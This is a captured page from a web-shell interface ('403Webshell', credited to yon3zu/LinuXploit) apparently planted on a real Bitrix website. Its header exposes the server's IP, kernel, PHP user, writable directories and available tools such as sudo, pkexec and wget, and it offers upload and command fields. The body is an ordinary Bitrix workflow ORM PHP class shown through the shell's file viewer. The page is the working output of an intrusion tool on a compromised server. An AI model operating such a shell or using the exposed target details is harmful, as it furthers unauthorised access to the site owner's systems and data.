403Webshell
Server IP : 80.87.202.40  /  Your IP : 216.73.216.169
Web Server : Apache
System : Linux rospirotorg.ru 5.14.0-539.el9.x86_64 #1 SMP PREEMPT_DYNAMIC Thu Dec 5 22:26:13 UTC 2024 x86_64
User : bitrix ( 600)
PHP Version : 8.2.27
Disable Function : NONE
MySQL : OFF |  cURL : ON |  WGET : ON |  Perl : ON |  Python : OFF |  Sudo : ON |  Pkexec : ON
Directory :  /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/workflow/entity/

Upload File :
current_dir [ Writeable] document_root [ Writeable]

 

Command :


[ Back ]     

Current File : /home/bitrix/ext_www/rospirotorg.ru/bitrix/modules/bizproc/lib/workflow/entity/workflowinstance.php
<?php

namespace Bitrix\Bizproc\Workflow\Entity;

use Bitrix\Main;
use Bitrix\Main\Entity;

/**
 * Class WorkflowInstanceTable
 *
 * DO NOT WRITE ANYTHING BELOW THIS
 *
 * <<< ORMENTITYANNOTATION
 * @method static EO_WorkflowInstance_Query query()
 * @method static EO_WorkflowInstance_Result getByPrimary($primary, array $parameters = [])
 * @method static EO_WorkflowInstance_Result getById($id)
 * @method static EO_WorkflowInstance_Result getList(array $parameters = [])
 * @method static EO_WorkflowInstance_Entity getEntity()
 * @method static \Bitrix\Bizproc\Workflow\Entity\EO_WorkflowInstance createObject($setDefaultValues = true)
 * @method static \Bitrix\Bizproc\Workflow\Entity\EO_WorkflowInstance_Collection createCollection()
 * @method static \Bitrix\Bizproc\Workflow\Entity\EO_WorkflowInstance wakeUpObject($row)
 * @method static \Bitrix\Bizproc\Workflow\Entity\EO_WorkflowInstance_Collection wakeUpCollection($rows)
 */
class WorkflowInstanceTable extends Entity\DataManager
{
	const LOCKED_TIME_INTERVAL = 300;

	/**
	 * @return string
	 */
	public static function getTableName()
	{
		return 'b_bp_workflow_instance';
	}

	/**
	 * @return array
	 */
	public static function getMap()
	{
		return array(
			'ID' => array(
				'data_type' => 'string',
				'primary' => true,
			),
			'MODULE_ID' => array(
				'data_type' => 'string'
			),
			'ENTITY' => array(
				'data_type' => 'string'
			),
			'DOCUMENT_ID' => array(
				'data_type' => 'string'
			),
			'WORKFLOW_TEMPLATE_ID' => array(
				'data_type' => 'integer'
			),
			'WORKFLOW' => array(
				'data_type' => 'string'
			),
			'WORKFLOW_RO' => array(
				'data_type' => 'string'
			),
			'STARTED' => array(
				'data_type' => 'datetime'
			),
			'STARTED_BY' => array(
				'data_type' => 'integer'
			),
			'STARTED_USER' => array(
				'data_type' => '\Bitrix\Main\UserTable',
				'reference' => array(
					'=this.STARTED_BY' => 'ref.ID'
				),
				'join_type' => 'LEFT',
			),
			'STARTED_EVENT_TYPE' => array(
				'data_type' => 'integer'
			),
			'STATUS' => array(
				'data_type' => 'integer'
			),
			'MODIFIED' => array(
				'data_type' => 'datetime'
			),
			'OWNER_ID' => array(
				'data_type' => 'string'
			),
			'OWNED_UNTIL' => array(
				'data_type' => 'datetime'
			),
			'STATE' => array(
				'data_type' => '\Bitrix\Bizproc\Workflow\Entity\WorkflowStateTable',
				'reference' => array(
					'=this.ID' => 'ref.ID'
				),
				'join_type' => 'LEFT',
			),
			'TEMPLATE' => array(
				'data_type' => '\Bitrix\Bizproc\WorkflowTemplateTable',
				'reference' => array(
					'=this.WORKFLOW_TEMPLATE_ID' => 'ref.ID'
				),
				'join_type' => 'LEFT'
			),
		);
	}

	public static function exists(string $workflowId)
	{
		return static::getCount(['=ID' => $workflowId]) > 0;
	}

	public static function getIdsByDocument(array $documentId)
	{
		$documentId = \CBPHelper::ParseDocumentId($documentId);
		$rows = static::getList([
			'select' => ['ID'],
			'filter' => [
				'=MODULE_ID' => $documentId[0],
				'=ENTITY' => $documentId[1],
				'=DOCUMENT_ID' => $documentId[2]
			]
		])->fetchAll();

		return array_column($rows, 'ID');
	}

	public static function countByDocument(array $documentId): int
	{
		$documentId = \CBPHelper::ParseDocumentId($documentId);
		$cnt = static::getCount([
			'=MODULE_ID' => $documentId[0],
			'=ENTITY' => $documentId[1],
			'=DOCUMENT_ID' => $documentId[2]
		]);

		return $cnt;
	}

	public static function getIdsByTemplateId(int ...$tplIds)
	{
		$filterKeyPrefix = count($tplIds) < 2 ? '=' : '@';
		if (count($tplIds) < 2)
		{
			$tplIds = reset($tplIds);
		}

		$rows = static::getList([
			'select' => ['ID'],
			'filter' => [
				$filterKeyPrefix.'WORKFLOW_TEMPLATE_ID' => $tplIds,
			]
		])->fetchAll();

		return array_column($rows, 'ID');
	}

	public static function mergeByDocument($paramFirstDocumentId, $paramSecondDocumentId)
	{
		$firstDocumentId = \CBPHelper::parseDocumentId($paramFirstDocumentId);
		$secondDocumentId = \CBPHelper::parseDocumentId($paramSecondDocumentId);

		$connection = Main\Application::getConnection();
		$sqlHelper = $connection->getSqlHelper();
		$table = $sqlHelper->forSql(static::getTableName());

		$firstDocId = $sqlHelper->forSql($firstDocumentId[2]);
		$firstEntity = $sqlHelper->forSql($firstDocumentId[1]);
		$firstModule = $sqlHelper->forSql($firstDocumentId[0]);

		$secondDocId = $sqlHelper->forSql($secondDocumentId[2]);
		$secondEntity = $sqlHelper->forSql($secondDocumentId[1]);
		$secondModule = $sqlHelper->forSql($secondDocumentId[0]);

		$connection->queryExecute("UPDATE {$table} 
			SET 
				DOCUMENT_ID = '{$firstDocId}',
				ENTITY = '{$firstEntity}',
				MODULE_ID = '{$firstModule}' 
			WHERE 
				DOCUMENT_ID = '{$secondDocId}' 
				AND ENTITY = '{$secondEntity}' 
				AND MODULE_ID = '{$secondModule}'
		");

		return true;
	}

	public static function migrateDocumentType($paramOldType, $paramNewType, $workflowTemplateIds)
	{
		$oldType = \CBPHelper::parseDocumentId($paramOldType);
		$newType = \CBPHelper::parseDocumentId($paramNewType);

		$connection = Main\Application::getConnection();
		$sqlHelper = $connection->getSqlHelper();
		$table = $sqlHelper->forSql(static::getTableName());

		$firstEntity = $sqlHelper->forSql($oldType[1]);
		$firstModule = $sqlHelper->forSql($oldType[0]);

		$secondEntity = $sqlHelper->forSql($newType[1]);
		$secondModule = $sqlHelper->forSql($newType[0]);

		$templates = implode(",", array_map('intval', $workflowTemplateIds));

		$connection->queryExecute("UPDATE {$table} 
			SET 
				ENTITY = '{$firstEntity}',
				MODULE_ID = '{$firstModule}' 
			WHERE 
				ENTITY = '{$secondEntity}' 
				AND MODULE_ID = '{$secondModule}' 
				AND WORKFLOW_TEMPLATE_ID IN ({$templates})
		");

		return true;
	}

	public static function isDebugWorkflow(string $workflowId)
	{
		$row = static::getList([
			'select' => ['STARTED_EVENT_TYPE'],
			'filter' => [
				'=ID' => $workflowId,
			]
		])->fetch();

		return $row && (int)$row['STARTED_EVENT_TYPE'] === \CBPDocumentEventType::Debug;
	}

	/**
	 * @param array $data Entity data.
	 * @throws Main\NotImplementedException
	 * @return void
	 */
	public static function add(array $data)
	{
		throw new Main\NotImplementedException("Use CBPStateService class.");
	}

	/**
	 * @param mixed $primary Primary key.
	 * @param array $data Entity data.
	 * @throws Main\NotImplementedException
	 * @return void
	 */
	public static function update($primary, array $data)
	{
		throw new Main\NotImplementedException("Use CBPStateService class.");
	}
}

Youez - 2016 - github.com/yon3zu
LinuXploit